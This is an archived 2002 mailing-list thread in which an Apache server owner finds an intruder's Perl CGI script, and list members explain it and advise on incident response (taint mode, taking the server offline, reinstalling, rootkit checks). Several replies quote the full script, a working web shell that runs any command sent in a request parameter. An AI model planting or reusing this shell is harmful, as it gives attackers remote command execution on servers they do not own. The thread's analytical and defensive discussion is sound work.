Re: Off topic question a little worried
At 14:15 21.03.2002 -0600, you wrote: Any idea as to how it got on my server. It is owned by apache and in the apache group. That tells me that it was put on there by apache. It is in a directory that has the permissions 777 because the script that is normally in there keeps and writes traffic information, so I guess someone found a way to have apache write the file into that directory. But how did they get it to chmod 755? That is a DON'T. Apache should not have write access to anything under DocumentRoot. Sorry, I know this does not help now. Joachim -- ... ein Geschlecht erfinderischer Zwerge, die fuer alles gemietet werden koennen.- Bertolt Brecht - Leben des Galilei
Re: Off topic question a little worried
http://www.chkrootkit.org/ http://www.incident-response.org/LKM.htm -- Carsten Heinrigs Ocean-7 Development Tel: 212 533-7883
Re: Off topic question a little worried
Chris Reinhardt wrote:
On Thu, 21 Mar 2002, John Michael wrote:
#!/usr/bin/perl
use CGI qw(:standard);
print header;
my $k=param(g);
my $a=param(s);
if ($a || $k) {
$l=`$k 21`;
print start_form,textarea(g,$k,1,50);
print submit(sc);
print end_form;
print pre($l);
}
print $ENV{SERVER_NAME};
It executes arbitrary commands as whatever your httpds run as.
don't delete it, but add the -T flag
#!/usr/bin/perl -T
In addition for the hacker not being able to run anything and probably
not understanding why, you will be able to check the logs to see what IP
the script was called from and hopefully trace down the bugger.
_
Stas Bekman JAm_pH -- Just Another mod_perl Hacker
http://stason.org/ mod_perl Guide http://perl.apache.org/guide
mailto:[EMAIL PROTECTED] http://ticketmaster.com http://apacheweek.com
http://singlesheaven.com http://perl.apache.org http://perlmonth.com/
Re: Off topic question a little worried
Any idea as to how it got on my server. It is owned by apache and in the
apache group. That tells me that it was put on there by apache. It is in a
directory that has the permissions 777 because the script that is normally
in there keeps and writes traffic information, so I guess someone found a
way to have apache write the file into that directory. But how did they get
it to chmod 755?
John michael
On Thu, 21 Mar 2002, John Michael wrote:
#!/usr/bin/perl
use CGI qw(:standard);
print header;
my $k=param(g);
my $a=param(s);
if ($a || $k) {
$l=`$k 21`;
print start_form,textarea(g,$k,1,50);
print submit(sc);
print end_form;
print pre($l);
}
print $ENV{SERVER_NAME};
It executes arbitrary commands as whatever your httpds run as.
--
Chris Reinhardt
[EMAIL PROTECTED]
Systems Architect
Dynamic DNS Network Services
http://www.dyndns.org/
Re: Off topic question a little worried
John Michael wrote: Any idea as to how it got on my server. Someone found a serious security hole in something you're running. You have to assume that your server has been completely compromised and that the entire world now has root access to it through a hundred backdoors they installed. Take it off-line now, before you find out it sent millions of porn spam messages. You can study it later to try and find the problem. - Perrin
Re: Off topic question a little worried
Hi there, On Thu, 21 Mar 2002, John Michael wrote: Any idea as to how it got on my server. Nope. There are a thousand ways it could have been done if your server is not carefully secured. Do waht Perrin said - take it offline, it can't be trusted - and read the CERT stuff that you've been pointed to by another useful reply. The server probably has a dozen back-doors in it now so it would be irresponsible to leave it on line. Unless you *really* know what you are doing from a security point of view (and without meaning to be offensive it sounds vey much like you don't) you should wipe the discs and reinstall the OS and server(s) from scratch. Then do some serious reading about securing your server. Don't run any daemons you don't have to run, especially ftp and sendmail, if you aren't sure of them. 73, Ged.
Re: Off topic question a little worried
At 4:58 PM -0500 3/21/02, darren chamberlain wrote: Another alternative is to replace it with something that appears to do the same thing, but actually logs a ton of stuff from the requestor. Unless the entire site has already been backdoored. If that is the case, then this would serve no purpose, as the intruder could just come in via the backdoor. Any time a security breach takes place, the first action should always be to take the box offline and access the extent of the breach (multiple machines may be effected), backup the disk(s), and reformat. Finally, restore only the trusted files (and only after reviewing them for backdoors). It's the only way to be sure that you've eliminated the problem. Rob -- When I used a Mac, they laughed because I had no command prompt. When I used Linux, they laughed because I had no GUI.
Re: Off topic question a little worried
-- Perrin Harkins [EMAIL PROTECTED] on 03/21/02 17:07:27 -0500 darren chamberlain wrote: Another alternative is to replace it with something that appears to do the same thing, but actually logs a ton of stuff from the requestor. You can't trust any part of compromised box, right down to the 'ls' command. Once you know someone has been able to run arbitrary commands on your machine, they could have installed ANYTHING. They might have a rootkit, they might have replaced your ssh binary with something that mails passwords to them, they might be using your box as part of a DoS attack on someone else's site, they might be on your box running as root *right now*. You don't even know how they got on the box in the first place. Disconnect it. You can usually trust read only media (e.g., CDR's placed in a cdrom drive or mechanically write-locked floppy or mio discs). Booting a rescue cd or one you've burned after the insatll and before putting the box on line can allow you to check what's going on and at least back up the more useful portions of the system config files. You might also want to use rescue-cd util's to back up the logs and apache directories to try and track the schmuck to cracked you. Point is that even if you cannot trust anything at all on your hard drives at this point you can still analyze what's there and recover at least some of it. enjoi. -- Steven Lembark 2930 W. Palmer Workhorse Computing Chicago, IL 60647 +1 800 762 1582
Re: Off topic question a little worried
Chris Reinhardt wrote:
On Thu, 21 Mar 2002, John Michael wrote:
#!/usr/bin/perl
use CGI qw(:standard);
print header;
my $k=param(g);
my $a=param(s);
if ($a || $k) {
$l=`$k 21`;
print start_form,textarea(g,$k,1,50);
print submit(sc);
print end_form;
print pre($l);
}
print $ENV{SERVER_NAME};
It executes arbitrary commands as whatever your httpds run as.
don't delete it, but add the -T flag
#!/usr/bin/perl -T
In addition for the hacker not being able to run anything and probably
not understanding why, you will be able to check the logs to see what IP
the script was called from and hopefully trace down the bugger.
Of course as Tom Brown has whispered to my ear, you simply need to run
your code with PerlTaintCheck On, without modifying the script. or
taking it off depending on what you want to achieve.
_
Stas Bekman JAm_pH -- Just Another mod_perl Hacker
http://stason.org/ mod_perl Guide http://perl.apache.org/guide
mailto:[EMAIL PROTECTED] http://ticketmaster.com http://apacheweek.com
http://singlesheaven.com http://perl.apache.org http://perlmonth.com/
Re: Off topic question a little worried
On Thu, 21 Mar 2002, John Michael wrote:
#!/usr/bin/perl
use CGI qw(:standard);
print header;
my $k=param(g);
my $a=param(s);
if ($a || $k) {
$l=`$k 21`;
print start_form,textarea(g,$k,1,50);
print submit(sc);
print end_form;
print pre($l);
}
print $ENV{SERVER_NAME};
It executes arbitrary commands as whatever your httpds run as.
--
Chris Reinhardt
[EMAIL PROTECTED]
Systems Architect
Dynamic DNS Network Services
http://www.dyndns.org/
